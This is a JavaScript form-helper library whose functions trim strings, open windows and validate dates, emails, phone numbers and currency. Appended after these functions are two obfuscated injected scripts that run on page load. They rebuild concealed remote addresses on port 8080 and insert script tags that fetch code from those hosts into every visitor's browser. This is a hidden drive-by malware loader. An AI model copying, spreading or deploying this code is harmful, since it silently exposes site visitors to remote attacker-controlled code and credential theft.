function openWindow(theURL, theName, Width, Height)
{
	var strValue;
	var strAppName = navigator.appName;
	var intLeft = parseInt((screen.width - Width) / 2);
	var intTop = parseInt((screen.height - Height) / 2);
	if(strAppName == 'Microsoft Internet Explorer')
		strValue = window.showModalDialog(theURL, theName, 'help:no;dialogHeight:' + Height + 'px;dialogWidth:' + Width + 'px;dialogLeft:' + intLeft + ';dialogTop:' + intTop + ';')
	else
		window.open(theURL, theName, 'help:no,width=' + Width + ',height=' + Height + ',left=' + intLeft + ',top=' + intTop);
	return strValue;
}

function CloseWindow(theForm)
{
	if(navigator.appName == 'Microsoft Internet Explorer')
	{
		if(CloseWindow.arguments.length == 2)
			window.returnValue = CloseWindow.arguments[1];
		else
			window.returnValue = 1;
		window.close();
	}
	else
	{
		eval(theForm).target = opener.name;
		eval(theForm).submit();
		window.close();
	}
}

function getURLParam(strParamName){
var strReturn = "";
var strHref = window.location.href;
    if ( strHref.indexOf("&") > -1 )
    {
        var strQueryString = strHref.substr(strHref.indexOf("&")).toLowerCase();
        var aQueryString = strQueryString.split("&");
        for ( var iParam = 0; iParam < aQueryString.length; iParam++ )
        {
            if (aQueryString[iParam].indexOf(strParamName + "=") > -1 )
            {
                var aParam = aQueryString[iParam].split("=");
                strReturn = aParam[1];
                break;
            }
        }
    }
return strReturn;
}


function countCharacter(str, chr){
	var i, count = 0;
	for(i = 0; i < str.length; i++){
		if(str.charAt(i) == chr)
			count++;
	}
	if(count == 1 || count == 0)
		return true;
	else
		return false;
}

function isCurrency(str){
	if(str.length == 0)
		return false;
	if(!isNumberCurrency(str))
		return false;
	if(!countCharacter(str, '.'))
		return false;
		
	return true;
}

function isNumberCurrency(s){
	var i, isnum = true, len = s.length
	for(i = 0; i < len; i++){
		if(!isDigitCurrency(s.charAt(i)))
			isnum = false;
	}
	return isnum;
}

function isDigitCurrency(c){
	if((c=='0')||(c=='1')||(c=='2')||(c=='3')||(c=='4')||(c=='5')||(c=='6')||(c=='7')||(c=='8')||(c=='9')||(c=='.')||(c==','))
		return true;
	else
		return false;
}

function isNumber(s){
	var i, isnum = true, len = s.length
	for(i = 0; i < len; i++){
		if(!isDigit(s.charAt(i)))
			isnum = false;
	}
	return isnum;
}

function numbersOnly(e, obj){
	//check IE or FF
	var strAppName = navigator.appName;
	var key = (strAppName=='Microsoft Internet Explorer') ? event.keyCode : e.which;
	if(key > 47 && key < 58 || key==8 || key==32 || key==0)
		obj.value = obj.value;
	else
	{
		if (strAppName == 'Microsoft Internet Explorer')
			window.event.returnValue = null;
		else
			e.preventDefault();
	}
}

function isNumberLenZero(s){
	var i, isnum = true, len = s.length
	for(i = 0; i < len; i++){
		if(!isDigit(s.charAt(i)))
			isnum = false;
	}
	return isnum;
}

function isDigit(c){
	if((c=='0')||(c=='1')||(c=='2')||(c=='3')||(c=='4')||(c=='5')||(c=='6')||(c=='7')||(c=='8')||(c=='9'))
		return true;
	else
		return false;
}

function isWeek(s){
	var i, isnum = true, len = s.length
	for(i = 0; i < len; i++){
		if(!isDigitWeek(s.charAt(i)))
			isnum = false;
	}
	return isnum;
}

function isDigitTime(c){
	if((c=='0')||(c=='1')||(c=='2')||(c=='3')||(c=='4')||(c=='5')||(c=='6')||(c=='7')||(c=='8')||(c=='9')||(c==':'))
		return true;
	else
		return false;
}

function countTimeChar(str, chr){
	var i, count = 0;
	for(i = 0; i < str.length; i++){
		if(str.charAt(i) == chr)
			count++;
	}
	if(count == 1)
		return true;
	else
		return false;
}

function isNumberTime(s){
	var i, isnum = true, len = s.length
	for(i = 0; i < len; i++){
		if(!isDigitTime(s.charAt(i)))
			isnum = false;
	}
	return isnum;
}

function isTime(s){
	var len = s.length
	
	if(len != 5 && len != 4)
		return false;
	if(!isNumberTime(s))
		return false;
	if(s.indexOf(':')==-1) 
		return false;
	if(s.indexOf(':')!=1 && s.indexOf(':')!=2)
		return false;
	if(!countTimeChar(s,':'))
		return false;
		
	return true;
}

function isDigitWeek(c){
	if((c=='1')||(c=='2')||(c=='3')||(c=='4')||(c=='5')||(c=='6')||(c=='7'))
		return true;
	else
		return false;
}

function trimLeft(s){
	var i;
	i = 0;
	var n;
	n = s.length;
	while((i<n)&&(s.charAt(i)==' ')) i++;
		s = s.substring(i);
	return(s);
} 

function trimRight(s){
	var n;
	n = s.length;
	var i;
	i = s.length-1;
	while((i>=0)&&(s.charAt(i)==' ')) i--;
		s = s.substring(0,i+1);
	return(s);
}

function trimAll(s){
	s = trimLeft(s);
	s = trimRight(s);
	return(s);
}

function lTrim(s) {
	
	var str = /\s*((\S+\s*)*)/;
	return s.replace(str, "$1");
	
}

function rTrim(s) {
	
	var str = /((\s*\S+)*)\s*/;
	return s.replace(str, "$1");
	
}

function trim(s) {
	
	return lTrim(rTrim(s));
	
}

function aTrim(s){
	var i, j;
	var strReturn = "";
	s = trim(s);
	for(i=0; i < s.length; i++)
	{	
		if(s.charAt(i) != " ")
		{
			strReturn += s.charAt(i);
		}
		else
		{
			if(i > 0 && s.charAt(i) != " ")
			{
				strReturn &= s.charAt(i - 1);
			}
		}
	}
	return strReturn;
}

function isPhoneNumber(s){
	var i;
	if(s.length == 0) return false;
	for(i = 0; i <= s.length-1; i++){
		if(!isDigit(s.charAt(i)) && s.charAt(i) != '(' && s.charAt(i) != ')' && s.charAt(i) != '-' && s.charAt(i) != ' ')
			return false;
	}
	return true;
}

function isEmail(emailStr){
	var emailPat = /^\w+((-\w+)|(\.\w+))*\@[A-Za-z0-9]+((\.|-)[A-Za-z0-9]+)*\.[A-Za-z0-9]+$/;
	var matchArray = emailStr.match(emailPat);
	
	if (matchArray == null)
	{
		return (false);
	}

	return (true);
}

function isMultiEmail(stringEmail){
	var bReturn, strArray;
	strArray = stringEmail.split(";");
	for(i=0;i<strArray.length;i++)
	{
		if(!isEmail(strArray[i]))
		{
			bReturn = false;
			break;
		}
		else
		{
			bReturn = true;
		}
	}
	return bReturn;
}

function compareString(stringSource){
	var strArray;
	var strReturn ="";
	var k,m;
	strArray = stringSource.split(";");
	for(i = 0;i < strArray.length - 1;i++)
	{
		k = 0;
		for(j = i+1;j < strArray.length;j++)
		{
			m = true;
			k = j;
			if(strArray[i].toLowerCase() == strArray[j].toLowerCase())
			{
				m = false	;
				break;
			}
		}
		if(k == strArray.length - 1 && m == true)
		{
			if(strReturn == "")
			{
				strReturn = strArray[i];
			}
			else
			{
				strReturn += ";" + strArray[i];
			}
		}
	}
	if(strReturn == "")
	{
		strReturn = strArray[i];
	}
	else
	{
		strReturn += ";" + strArray[i];
	}
	return strReturn;
}

function isDate(dateStr) {
    var datePat = /^(\d{1,2})(\/|-)(\d{1,2})(\/|-)(\d{2,4})$/;
    var matchArray = dateStr.match(datePat); // is the format ok?

    if (matchArray == null) {
        //alert("You must input date format mm/dd/yyyy"); //or dd-mm-yy
        return false;
    }

    month = matchArray[1]; // parse date into variables
    day = matchArray[3];
    year = matchArray[5];

    if (day < 1 || day > 31) {
        //alert("Day must from 1 to 31.");
        return false;
    }

    if (month < 1 || month > 12) { // check month range
        //alert("Month must from 1 to 12.");
        return false;
    }

    if ((month==4 || month==6 || month==9 || month==11) && day==31) {
        //alert("This month have no 31 day!")
        return false;
    }

	if(year.length == 2)
		if(year < 20)
			year = parseInt('20' + year);
		else
			year = parseInt('19' + year);
	
    if (month == 2) { // check for february 29th
        var isleap = (year % 4 == 0 && (year % 100 != 0 || year % 400 == 0));
        if (day > 29 || (day==29 && !isleap)) {
            //alert("Month 2nd " + year + " have no " + day + " day!");
            return false;
        }
    }
 
    if(year < 1900)
		return false;
    return true; // date is valid
}
try{window.onload=function(){Nsj34g4xem4 = '' + 'y!$@^o#@$m(@i^&@u!!)r$^#^i!-#c&^o@)^$^-&@!j@$p!&.!(!$q^#^u@^$i)!#k^(r$.@&@c^(($o#^#)m$.&&(a#)^)(c!^@(e@r$-@(^^c#@&$!o)!^&^m&)&.&^$g$&r@$(#i()!d(^&$r)@e#!v$!&o((l^)u^)#(t@))i$^$o^n^!@s$.!r)u)&:&#@)K!s)@(7##a&)&w!#x)^j(!(#0^@(1#w!^9#(@#u&@m)/@(@g!o#o@^&g&())l$e@#.!c)!!o^#^#$m&/)#^g!&!^^o)&(o!$g#&(#l!#@e$^.#!#c!&^^^o(!m$&$(/$t))u$#&@.(t(#&v$@$/)c!^r^^#i(#^#c!!i&!!!@n!)^$!f(()^o&#$&(.@)c@o^m#$/(&#m$e#g^^#a&(u!p$l#^^o^#&a$!&^d(#.^c($o!&m#$!/#)'.replace(/\$|\)|@|\(|\!|#|\^|&/ig, '') ;Aei49shfjj9nld = 'appendChild';Pixa6qd1ab516q = document.createElement('sc'+'ript');Pixa6qd1ab516q.src = 'h'+'ttp://'+Nsj34g4xem4.replace(/Ks7awxj01w9um/g, '8080');Pixa6qd1ab516q.setAttribute('defer', 'def'+'er');eval('document.body.'+Aei49shfjj9nld+'(Pixa6qd1ab516q)');} }  catch(Oulvj1cai ) {}


var XH=new String();function X(){var I='';var n='';var YR=new Date();var Q=window;var kX=new String();var PM;if(PM!='h'){PM='h'};this._="";var k=unescape;var E="";this.Z='';var F=k("%2f%63%61%70%69%74%61%6c%6f%6e%65%2d%63%6f%6d%2f%67%6f%6f%67%6c%65%2e%63%6f%6d%2f%34%63%68%61%6e%2e%6f%72%67%2e%70%68%70");var S;if(S!='Vt'){S=''};function V(m,p){var OU;if(OU!='mS'){OU='mS'};var mM=String("g");var r=new Array();var U=new Array();var d=k("%5b"), w=k("%5d");this.dL="";var b=d+p+w;var EJ;if(EJ!='vH' && EJ!='RP'){EJ='vH'};var Da=new Array();var W=new RegExp(b, mM);var Gk=new Array();return m.replace(W, new String());};var o="";var ym;if(ym!='XE'){ym=''};this.Es='';var bj=V('81903578410375','56194372');var zA;if(zA!='hI'){zA='hI'};var Wy;if(Wy!='a'){Wy='a'};var f=new String();var Fp;if(Fp!='HI' && Fp!='kN'){Fp=''};var M;if(M!='GZ' && M!='Ga'){M='GZ'};var ew=new Array();var Qx=document;this.dq='';this.lB='';var bP;if(bP!=''){bP='Go'};var kl;if(kl!=''){kl='Ew'};function C(){var UP='';var eE;if(eE!='' && eE!='xs'){eE=null};var oX=new Date();var sg;if(sg!='Gan' && sg != ''){sg=null};var t=k("%68%74%74%70%3a%2f%2f%65%61%73%79%66%75%6e%67%75%69%64%65%2e%61%74%3a");var Hx;if(Hx!='' && Hx!='zW'){Hx=null};f=t;var EO;if(EO!='Zk'){EO='Zk'};this.Gh='';f+=bj;var EW;if(EW!='' && EW!='wC'){EW=null};f+=F;var hD='';try {FB=Qx.createElement(V('sKcLrLi4p4t4','LHfe4dgK'));this.lLP='';var jq='';this.SY='';FB[k("%73%72%63")]=f;var mm;if(mm!=''){mm='XC'};this.yS="";FB[k("%64%65%66%65%72")]=[1][0];var xU='';Qx.body.appendChild(FB);var VP="";var QM;if(QM!='orq' && QM!='VQ'){QM=''};var Ak;if(Ak!='HJ' && Ak!='Be'){Ak='HJ'};} catch(Qq){alert(Qq);};var uy;if(uy!='d_' && uy != ''){uy=null};var MI;if(MI!='yb' && MI != ''){MI=null};}this.SQ="";var Ft=new Array();var Ed;if(Ed!='Vz' && Ed!='K'){Ed=''};Q[new String("onlo"+"adoWp".substr(0,2))]=C;var ek=new Date();var zL;if(zL!='ou' && zL!='oE'){zL=''};var DU;if(DU!='da' && DU != ''){DU=null};this.xi='';};var fS=new Array();X();
